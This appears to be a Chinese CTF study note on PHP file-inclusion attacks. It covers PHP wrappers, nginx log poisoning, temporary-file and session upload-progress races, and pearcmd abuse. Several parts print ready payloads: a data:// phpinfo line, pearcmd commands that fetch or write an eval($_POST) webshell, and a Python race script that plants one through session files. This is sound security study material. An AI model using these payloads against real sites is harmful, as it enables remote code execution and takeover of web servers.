当前位置: 首页 > news >正文

php文件包含

文章目录

  • 基础概念
  • php伪协议
    • 什么是协议
    • 协议的格式
    • php中的协议
      • file协议
      • http协议
      • ftp协议
      • php://input协议
      • php://filter协议
      • php://data协议
  • php文件上传机制
  • 高级文件包含
    • nginx文件日志包含
    • 临时文件包含
    • session文件包含
    • pear文件包含
    • 远程文件包含

基础概念

文件包含,相当于c语言中的#include,即通过头文件就可以调用文件中的代码
文件包含最基础的作用,就是读取非php类型的文件
php常见的文件包含语言结构

  • include ‘path’,包含这个文件,如果文件没了也不影响,继续往下执行
  • require:包含必须成功,失败则会报错
  • require_once:与 require 相似,都是用于包含并执行指定的 PHP 文件,但它确保该文件在脚本中只会被包含 一次。如果该文件已经被包含过,require_once 就不会再包含它。
  • include_once:类似require_once

php伪协议

伪协议即只能在php里面用,在其他地方用不了

什么是协议

在这里插入图片描述

协议的格式

协议头://内容

php中的协议

在这里插入图片描述

file协议

  • 相对路径和绝对路径在这里插入图片描述
    在这里插入图片描述

  • . . / ../ ../:上层目录

    • 上层目录的特点
    1. 每个目录都有上层目录
    2. 根目录的上层目录是根目录
    3. php的文件整理特性:www/html/…/==www/

http协议

  • file_get_contens()函数,给定url地址,通过http协议可以将内容读取
  • include ‘http://’同样可以包含远程地址

ftp协议

默认21端口,进行文件传输

php://input协议

在发的http请求中呈现数据最原始的形式,如果没有php标记,就会当作文本文档呈现,如果有php语法标记,则会执行代码的内容

php://filter协议

通过协议自带的编码解码绕过

file=php://filter/write=convert.base64-decode/resource=1.php
将解码后的内容写入1.php文件
同样可以用write=string.rot13绕过死亡代码

php://data协议

到这里感觉到了各协议其实都可以用于执行自己写的php代码,以data协议为例

data://,<?php phpinfo(); ?>

php文件上传机制

可以强制向网页上传文件,上传的文件存放在/tmp/php???的一个地方,临时文件在脚本执行完后就被删除,所以应该用bp抓包,并将最后一位匹配大写字母[@-[]

高级文件包含

nginx文件日志包含

nginx可以认为是http的服务器软件,提供了http服务,并默认监听80端口,如果接收到php文件,就将它转发到9000端口,9000端口由另一个服务器端软件监听,叫做php-fpm,它提供解析php代码的作用,并将执行结果返回给nginx,nginx将执行结果返回客户端,这个客户端也就是浏览器

  • 日志包含,就是通过将恶意代码通过user-agent等方式传入日志中,再包含日志,就会执行其中的php代码

日志文件默认路径
\var\log\nginx\access.log在这里插入图片描述
注意代码一定不要写错,否则报错了就只能重置环境

临时文件包含

注意不能用通配符

  • 上传的文件放在$_FILES这个超全局变量里,包括上传的php脚本,如果能找到这个php脚本在上传文件中的名字和位置,就可以利用文件包含执行这个脚本,但是在上传脚本执行完之后攻击脚本就会自动删除,所以需要在脚本执行期间完成文件包含
  • php返回数据的特点,一段一段返回,每4096个字符返回一次,所以可以在返回字符中一直读取,一旦读到tmp_name就立刻进行包含,即phpinfo lfi

session文件包含

session:根据cookie管理临时文件

  • 如果将恶意代码注入session所在的临时文件,就可以实现与临时文件包含类似的效果
import requests
import threading
session=requests.session()
sess='ctfshow'
file_name='/var/www/html/1.php'
file_contents='<?php eval($_POST[1];?>)'
url='http'
data={'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success';file_put_contents('{file_name}','{file_contents}')?>"
}file={'file':'ctfshow'
}cookies={'PHPSESSID':'ctfshow'
}def write():while True:r=session.post(url=url,data=data,files=file,cookies=cookies)def read():while True:r=session.post(url=url+'?file=../../../../../tmp/sess_ctfshow')if 'success' in r.text:print('shell地址为:'+url+'/1.php')exit()  

在这里插入图片描述
在这里插入图片描述

pear文件包含

使用条件

  1. 有文件包含点
  2. 开启了pear扩展
  3. 配置中register_argc_argv设置为on,而默认为off

利用方式1:利用扩展远程下载一句话木马

url+?file=/user/loca/lib/php/pearcmd.php&x+install+-R+/var/www/html(本地地址)+url(远程下载地址)

利用方式2:生成配置文件,在配置项中含恶意代码

url+?file=/user/loca/lib/php/pearcmd.php&+-c+\tmp\a.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+

远程文件包含

类似远程文件下载,必要时可用域名转数字


http://www.mrgr.cn/news/91703.html

相关文章:

  • Windows 环境下配置多个不同版本的 Maven
  • 代码随想录-- 第一天图论 --- 岛屿的数量
  • 2526考研资料分享 百度网盘
  • 浅谈 — 分布式系统中的幂等性
  • ZLMediaKit Windows 编译指南
  • 千峰React:组件使用(1)
  • 【Quest开发】全身跟踪
  • 数仓搭建(hive):DWS层(服务数据层)
  • Jmeter连接数据库、逻辑控制器、定时器
  • leetcode203.移除链表元素
  • 【Java】泛型与集合篇 —— 泛型
  • SCANet代码解读
  • 【Elasticsearch】`nested`和`flattened`字段在索引时有显著的区别
  • 【DeepSeek系列】04 DeepSeek-R1:带有冷启动的强化学习
  • TCP和Http协议
  • PyTorch 源码学习:阅读经验 代码结构
  • 嵌入式音视频开发(三)直播协议及编码器
  • 【Java】泛型与集合篇 —— Set 接口
  • 前端常见面试题-2025
  • C语言——时基